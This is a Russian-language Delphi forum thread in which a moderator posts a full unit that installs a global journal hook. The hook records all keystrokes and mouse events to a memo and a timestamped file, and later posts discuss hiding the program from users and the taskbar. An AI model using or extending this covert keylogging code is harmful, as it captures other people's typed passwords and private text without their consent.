![]() |
|
Модераторы: Poseidon, Snowy, bems, MetalFan |
![]()
|
|
| lider07 |
|
|||
|
Шустрый ![]() Профиль Группа: Участник Сообщений: 80 Регистрация: 11.6.2003 Где: Бишкек Репутация: нет Всего: нет |
А вот саит где можно глянуть на хороший хук ;-)http://www.sources.ru/delphi/delphi_introduction_to_hook_procedures.shtm l |
|||
|
||||
| Akella |
|
|||
![]() Творец ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 18485 Регистрация: 14.5.2003 Где: Корусант Репутация: 36 Всего: 329 |
Я нашел решение для хука, только вот русские символы неправильно выводятся в MEMO, прийдется еще доработать.
В этом модуле кроме сохранения всех нажатых клавиш (букв) проверяется нажатие Scroll Lock и если он включен, то русская раскладка иначе английская. Это удобно если кроме английской и русской раскладки установлена, ну например украинская. Переключение минуя украинскую. Но это еще плохо проверено, поэтому буду орабатывать. Ну а если кто что-нибудь подскажет буду искренне рад. Заранее благодарен. Еще осталось прятать программу при запуске. Выше Mikel предложил ссылку на FAQ с использованием DLL, но у меня, честно говоря, не получилось. Хотя оба проекта нормально откомпелировались (под WinXP в Delphi6) unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TfmMain = class(TForm) CheckBox1: TCheckBox; CheckBox2: TCheckBox; CheckBox3: TCheckBox; Memo1: TMemo; Edit1: TEdit; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormCreate(Sender: TObject); private { Private declarations } procedure SetKey(Key:Integer); procedure ChKeyb; // procedure wmScrollLock(var Mes: TWMKeydown); message wm_keydown; public { Public declarations } end; var fmMain: TfmMain; HookHandle: hHook; implementation {$R *.dfm} procedure TfmMain.SetKey(Key:Integer); begin keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0); keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY,0); keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0); end; Procedure TfmMain.ChKeyb; var Layout: array[0.. KL_NAMELENGTH] of char; begin//если включен Scroll Lock, то включаем русскую раскладку //иначе английскую if GetKeyState(vk_scroll)=0 then LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE) // русская else LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE) // английская end; function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall; var msg: PEVENTMSG; key: integer; vLine: String; begin if Code >= 0 then begin result := 0; msg := Pointer(LParam); with fmMain do case msg.message of WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH); WM_LBUTTONDOWN: CheckBox1.Checked := true; WM_LBUTTONUP: CheckBox1.Checked := false; WM_RBUTTONDOWN: CheckBox2.Checked := true; WM_RBUTTONUP: CheckBox2.Checked := false; WM_KEYUP: CheckBox3.Checked := false; WM_KEYDOWN: begin CheckBox3.Checked := true; key := msg.paramL and 255; // if key in [48..57, 65..90] then begin if key in [0..255] then begin if (key=VK_SCROLL) then begin key:=0; ChKeyb; end;//if vk_skroll Edit1.Text:=Edit1.Text+chr(key); if (key=vk_return) then begin Memo1.Lines.Add(DateTimeToStr(now)+' * '+Edit1.Text); // Memo1.Lines.Add(chr(key)); Edit1.Text:=''; end;//if (key=vk_return) end;//if key in...} end; end; end else result := CallNextHookEx(HookHandle, code, WParam, LParam); end; procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction); Var S:String; I:Integer; begin if HookHandle > 0 then UnhookWindowsHookEx(HookHandle); S:=DateTimeToStr(now); For I:=0 to Length(s) do begin if S[i]=':' then s[i]:='-'; end;//for Memo1.Lines.SaveToFile(s+' '+'hook.txt'); end; procedure TfmMain.FormCreate(Sender: TObject); begin fmMain.FormStyle := fsStayOnTop; CheckBox1.Enabled := false; CheckBox1.Caption := 'left button'; CheckBox2.Enabled := false; CheckBox2.Caption := 'right button'; CheckBox3.Enabled := false; CheckBox3.Caption := 'keyboard'; HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0); // Memo1.Lines.Add(''); Memo1.Enabled := false; Edit1.Enabled:=False; end; end. |
|||
|
||||
| Akella |
|
|||
![]() Творец ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 18485 Регистрация: 14.5.2003 Где: Корусант Репутация: 36 Всего: 329 |
а зачем отключать такую комбинацию. И вообще что происходит при нажатии такой комбинации (если это стандартная комбинация, типа Alt+Tab)? |
|||
|
||||
| lider07 |
|
|||
|
Шустрый ![]() Профиль Группа: Участник Сообщений: 80 Регистрация: 11.6.2003 Где: Бишкек Репутация: нет Всего: нет |
если с таксбара то вот на кодик showwindow(Application.handle,sw_hide); |
|||
|
||||
| Akella |
|
|||
![]() Творец ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 18485 Регистрация: 14.5.2003 Где: Корусант Репутация: 36 Всего: 329 |
это я и сам знаю, но в WinXP прятать программу от юзеров, которые возомнили,. что они крутые хакеры не так просто. |
|||
|
||||
| Pakshin A. S. |
|
|||
|
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 5056 Регистрация: 16.2.2003 Репутация: 21 Всего: 61 |
К вопросу про Scroll Lock:
Можно поставить таймер с интервалом в 1 или цикл с Application.ProcessMessages, куда запихнуть следующее:
|
|||
|
||||
| Akella |
|
|||
![]() Творец ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 18485 Регистрация: 14.5.2003 Где: Корусант Репутация: 36 Всего: 329 |
Еще есть проблема, при деактивации (сворачивании) прога виснет.
И еще, при выводе в TMemo нажимаемых клавиш, выводятся только литинские символы, даже если переключена раскладка на русский. Это сообщение отредактировал(а) dsergey - 29.7.2003, 15:40 |
|||
|
||||
![]()
|
| Правила форума "Delphi: Общие вопросы" | |
|
|
Запрещается! 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Delphi: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |